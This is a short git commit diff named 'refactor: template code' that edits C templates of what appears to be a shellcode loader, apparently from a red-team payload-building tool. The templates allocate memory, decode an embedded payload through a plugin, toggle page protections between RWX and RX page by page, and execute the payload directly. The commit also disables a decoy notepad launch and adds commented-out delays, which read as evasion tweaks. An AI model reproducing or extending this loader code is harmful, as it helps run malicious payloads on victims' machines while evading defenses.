refactor: template code

This commit is contained in:
Dobin
2024-05-29 08:29:22 +01:00
parent 854c41300e
commit 8ed47409a2
3 changed files with 20 additions and 7 deletions
+4 -1
View File
@@ -30,12 +30,15 @@ int main()
}
// Decoy
WinExec("C:\\windows\\system32\\notepad.exe", 1);
//WinExec("C:\\windows\\system32\\notepad.exe", 1);
// Allocate 1
// char *dest = ...
char *dest = VirtualAlloc(NULL, {{PAYLOAD_LEN}}, 0x3000, p_RW);
// Wait a bit
//sleep_ms(2000);
// Copy (and decode)
// from: supermega_payload[]
// to: dest[]
@@ -29,10 +29,16 @@ int main()
return 6;
}
// Decoy
//WinExec("C:\\windows\\system32\\notepad.exe", 1);
// Allocate 1
// char *dest = ...
char *dest = VirtualAlloc(NULL, {{PAYLOAD_LEN}}, 0x3000, p_RW);
// Wait a bit
//Sleep(2000);
// Copy (and decode)
// from: supermega_payload[]
// to: dest[]
+10 -6
View File
@@ -22,15 +22,19 @@ int main()
// Note: RWX if carrier and payload are on the same page (or we cant exec copy..)
// can do only RW otherwise?
if (VirtualProtect(dest, {{PAYLOAD_LEN}}, p_RWX, &result) == 0) {
return 16;
}
for(int n=0; n<({{PAYLOAD_LEN}}/4096)+1; n++) {
if (VirtualProtect(dest + (n * 4096), 16, p_RWX, &result) == 0) {
return 16;
}
}
{{ plugin_decoder }}
if (VirtualProtect(dest, {{PAYLOAD_LEN}}, p_RX, &result) == 0) {
return 17;
}
for(int n=0; n<{{PAYLOAD_LEN}}/4096; n++) {
if (VirtualProtect(dest + (n * 4096), 16, p_RX, &result) == 0) {
return 16;
}
}
// Execute *dest
(*(void(*)())(dest))();